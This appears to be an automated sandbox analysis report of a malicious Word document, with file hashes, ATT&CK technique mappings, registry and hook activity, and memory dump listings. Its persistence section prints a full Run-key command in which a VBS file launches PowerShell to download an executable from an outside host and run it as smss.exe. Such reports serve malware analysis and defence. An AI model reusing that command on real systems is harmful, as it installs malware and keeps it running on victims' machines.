28be1bcfd275756888fe4e1e2d866d7af521022f9a13e0267778e63e8ae98aa7

General

Target

504368519288583f7d6b6981c641b4b9509bdee7aac1e0d6c2371fc952451392.doc
Size

179KB
MD5

e267aa39a15e33909dae39ec74828f8b
SHA1

ed519641868e38c0531358622bc10b863979e301
SHA256

504368519288583f7d6b6981c641b4b9509bdee7aac1e0d6c2371fc952451392
SHA512

95d9712e8f760e589761337376b329c28e9b5ee2d6ededd77e9dae29dc5dab41927f382562848bd3e2dfeb72859ec6d373335cc51d6c91bf60c1a10da735bb8e
SSDEEP

3072:Ean7O40C8HRLzZI5Cb1WdqfzdVWnTqUJxDZaQnRBvbmV8tbB:Ean7t0tRHK5C+qfzdVoqwB8Qqk

Score

6^/10

persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MS_Office = "cmd /c echo WScript.CreateObject(\"WScript.Shell\").run \"cmd /c powershell iwr -outf %tmp%\\smss.exe https://shoru.net/db/main_db & start %tmp%\\smss.exe\",0,false>\"C:\\Users\\Public\\Libraries\\lib.vbs\"&wscript \"C:\\Users\\Public\\Libraries\\lib.vbs\""	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2908	WINWORD.EXE
2908	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
2908	WINWORD.EXE
2908	WINWORD.EXE
2908	WINWORD.EXE
2908	WINWORD.EXE
2908	WINWORD.EXE
2908	WINWORD.EXE
2908	WINWORD.EXE
2908	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\504368519288583f7d6b6981c641b4b9509bdee7aac1e0d6c2371fc952451392.doc" /o ""
1⤵
- Adds Run key to start application
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDCF4C.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
306f8455cfcdcc196b730204e9d1f0b5

SHA1
bbb90b3046252a06b876aaa8b23959537bbb2cd8

SHA256
84fc5181df704667131cb0828b0384e8acee51f686476a63b215b4ee57dfe385

SHA512
371f37204e544636bec06109f94472913d913b4541bf25636bd36ca4567b65cbff10260a62bec7ae50707f0bb7a3bd29d6c5cade01b04017c1bbdc9b8a9dda74

Download Submit
memory/2908-12-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-8-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-2-0x00007FF947CB0000-0x00007FF947CC0000-memory.dmp

Filesize
64KB

Download
memory/2908-7-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-9-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-1-0x00007FF987CCD000-0x00007FF987CCE000-memory.dmp

Filesize
4KB

Download
memory/2908-13-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-14-0x00007FF945880000-0x00007FF945890000-memory.dmp

Filesize
64KB

Download
memory/2908-11-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-15-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-16-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-18-0x00007FF945880000-0x00007FF945890000-memory.dmp

Filesize
64KB

Download
memory/2908-17-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-20-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-4-0x00007FF947CB0000-0x00007FF947CC0000-memory.dmp

Filesize
64KB

Download
memory/2908-19-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-40-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-6-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-10-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-52-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-53-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-5-0x00007FF947CB0000-0x00007FF947CC0000-memory.dmp

Filesize
64KB

Download
memory/2908-80-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-81-0x00007FF987CCD000-0x00007FF987CCE000-memory.dmp

Filesize
4KB

Download
memory/2908-82-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-83-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-84-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-3-0x00007FF947CB0000-0x00007FF947CC0000-memory.dmp

Filesize
64KB

Download
memory/2908-93-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-94-0x00007FF987C30000-0x00007FF987E25000-memory.dmp

Filesize
2.0MB

Download
memory/2908-0-0x00007FF947CB0000-0x00007FF947CC0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads